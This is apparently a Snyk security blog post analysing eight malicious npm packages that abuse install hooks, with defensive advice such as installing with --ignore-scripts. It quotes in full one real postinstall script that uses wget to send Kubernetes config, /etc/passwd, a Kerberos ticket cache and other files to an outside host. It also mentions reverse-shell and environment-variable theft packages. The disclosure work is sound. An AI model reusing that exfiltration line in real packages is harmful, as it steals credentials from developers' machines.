Snyk uncovers malicious code activities in open source supply chain security on the npm registry
May 5, 2021
0 mins readOpen source helps developers build faster. But who’s making sure these open source dependencies (sometimes years out of development) stay secure? In a recent npm security research activity, Snyk uncovered a total of 8 npm packages which matched a specific malicious code vector of attack. This specific attack vector of the malicious packages included packages which had pre/post install scripts, which allowed them to run arbitrary commands when installed.
The malicious packages are the following:
After identifying the above packages, Snyk reported them to npm’s security team to be flagged as malicious and removed from the npm registry to avoid putting end users in harm's way. The npm ecosystem is open in nature, allowing anyone to submit their packages. This includes even those that aren’t open sourced via a repository, or those that may bundle backdoors or other malicious code. With npm spanning more than 1.5 million packages, it isn’t an easy task to monitor and catch them all in time, creating a lucrative playground for attackers.
Now that the packages are flagged, let's take a look at how these malicious npm packages operated and what were they trying to do.
What can we learn by analyzing malicious npm packages
Let’s start with radar-cms. First, it employed an interesting technique to mask itself, where the overall package size of the tarball was greater than 1MB, which presumably intended to fly below the radar of some systems — including npm’s own Explore tab when browsing packages on npmjs.com. See the screenshot below for how this increased package size of the malicious package radar-cms
is not viewable for inspection on the npm package page:
Once installed, the malicious payload for radar-cms
was specifically targeting information exfiltration from the hosts. Here is original malicious package’s postinstall
script that we found in its package.json file:
"postinstall": "wget --post-file ~/.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/passwd https://entfet95itcxpuu.m.pipedream.net;wget --post-file /tmp/krb5cc_0 https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/hosts https://entfet95itcxpuu.m.pipedream.net"
So how could you have prevented this attack? (If you already read my npm security best practices blog, I bet you know.)
A best practices for safely installing packages is to avoid the invocation of arbitrary commands by npm packages when they get installed. So, the next time you install an npm package, consider using the following command line argument to keep you safe from packages running arbitrary commands:
npm install --ignore-scripts
Or, if you're using yarn:
yarn install --ignore-scripts
Next, we had the set of npm packages named paychex-*. These packages were designed to steal data from environment variables when they got installed — using a preinstall
script hook this time — and send them to a remote server. We see that they’ve all been flagged as malicious packages on the Snyk database:
Finally, the rcenodejs malicious package had a similar preinstall
script that created a reverse shell for remote attackers to connect to.
In all of these cases, you can prevent arbitrary code from running during package installation by just using:
npm install --ignore-scripts
What can I do about software supply chain security on npm?
First things first, it would be a good thing if you could first identify that an npm package is malicious. This may not be clear in the npmjs package pages, and once you install the package it is already too late.
To help with that, Snyk Advisor can clearly show you if a package has been found to be malicious and should not be installed. For example, here's the Advisor page for rcenodejs npm package that shows a malicious CWE-506 security vulnerability.
As more software is created, the more software security risk that we assume upon ourselves. To better equip yourself with best practices, and tools to help you lower the risk or completely mitigate such security incidents, I recommend the following:
Consult these 10 npm security best practices to ensure you’re following secure conventions when working with open source software. This includes enabling two-factor authentication to npmjs, disabling arbitrary command invocation by unknown third-party open source software, and more.
If you're building Node.js docker containers, follow the steps outlined in the production-grade security best practices to build Node.js based containers blog.